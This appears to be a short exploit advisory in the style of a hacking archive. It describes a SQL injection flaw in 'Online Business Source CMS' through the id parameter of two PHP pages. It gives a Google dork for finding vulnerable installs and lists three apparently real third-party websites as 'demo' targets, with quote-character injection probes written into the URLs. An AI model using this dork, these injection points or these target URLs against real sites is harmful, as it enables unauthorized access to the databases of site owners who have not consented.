Online Business Source CMS SQL Injection

################################ Archieve an Resource About Hacking ###############
#################### ####################
#
# Exploit Title: Online Business Source Cms Sql Injection Vulnerability
# Author: Netrondoank Aka netron / seth erry
# home Page: http://www.ilmuhacker.org
# Forum : http://www.indonesiansecurity.info
# Vendor or Software Link: http://www.online-bs.com/newobs/
# Version: N/A
# Category:: webapps
# Google dork: "Powered by www.on-source.com"
# Tested on: Linux Back Track 5

####################################################################
#  Proof Of Concept [POC]



http://site/view_product.php?id=[Sqli]
http://site/view_projects.php?id=[Sqli]

####################################################################
# Demo

http://egitto-park.com/view_product.php?id=358%27
http://aalfares.com/view_projects.php?id=%2718
http://www.3a-eg.com/view_product.php?id=140%27